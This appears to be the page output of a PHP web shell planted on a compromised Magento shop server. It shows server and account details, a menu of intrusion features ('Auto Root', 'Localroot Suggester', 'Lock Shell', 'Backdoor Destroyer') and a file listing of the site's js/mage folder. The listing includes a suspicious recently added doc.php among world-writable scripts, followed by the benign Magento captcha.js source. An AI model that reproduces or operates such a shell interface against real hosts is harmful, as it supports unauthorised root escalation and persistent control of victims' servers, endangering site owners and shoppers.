Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
js /
mage /
Delete
Unzip
Name
Size
Permission
Date
Action
adminhtml
[ DIR ]
drwxr-xr-x
2025-10-31 01:03
.htaccess
127
B
-r--r--r--
2025-10-31 01:03
captcha.js
3.02
KB
-rw-rw-rw-
2019-06-20 14:00
centinel.js
3.24
KB
-rw-rw-rw-
2019-06-20 14:00
cookies.js
2.55
KB
-rw-rw-rw-
2019-06-20 14:00
directpost.js
14.89
KB
-rw-rw-rw-
2019-06-20 14:00
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:41
translate.js
1.56
KB
-rw-rw-rw-
2019-06-20 14:00
translate_inline.css
1.83
KB
-rw-rw-rw-
2019-06-20 14:00
translate_inline.js
8.02
KB
-rw-rw-rw-
2019-06-20 14:00
Save
Rename
/** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE_AFL.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magentocommerce.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magentocommerce.com for more information. * * @category Mage * @package js * @copyright Copyright (c) 2014 Magento Inc. (http://www.magentocommerce.com) * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) */ var Captcha = Class.create(); Captcha.prototype = { initialize: function(url, formId){ this.url = url; this.formId = formId; }, refresh: function(elem) { formId = this.formId; if (elem) Element.addClassName(elem, 'refreshing'); new Ajax.Request(this.url, { onSuccess: function (response) { if (response.responseText.isJSON()) { var json = response.responseText.evalJSON(); if (!json.error && json.imgSrc) { $(formId).writeAttribute('src', json.imgSrc); if (elem) Element.removeClassName(elem, 'refreshing'); } else { if (elem) Element.removeClassName(elem, 'refreshing'); } } }, method: 'post', parameters: { 'formId' : this.formId } }); } }; document.observe('billing-request:completed', function(event) { if (typeof window.checkout != 'undefined') { if (window.checkout.method == 'guest' && $('guest_checkout')){ $('guest_checkout').captcha.refresh() } if (window.checkout.method == 'register' && $('register_during_checkout')){ $('register_during_checkout').captcha.refresh() } } }); document.observe('login:setMethod', function(event) { var switchCaptchaElement = function(shown, hidden) { var inputPrefix = 'captcha-input-box-', imagePrefix = 'captcha-image-box-'; if ($(inputPrefix + hidden)) { $(inputPrefix + hidden).hide(); $(imagePrefix + hidden).hide(); } if ($(inputPrefix + shown)) { $(inputPrefix + shown).show(); $(imagePrefix + shown).show(); } }; switch (event.memo.method) { case 'guest': switchCaptchaElement('guest_checkout', 'register_during_checkout'); break; case 'register': switchCaptchaElement('register_during_checkout', 'guest_checkout'); break; } });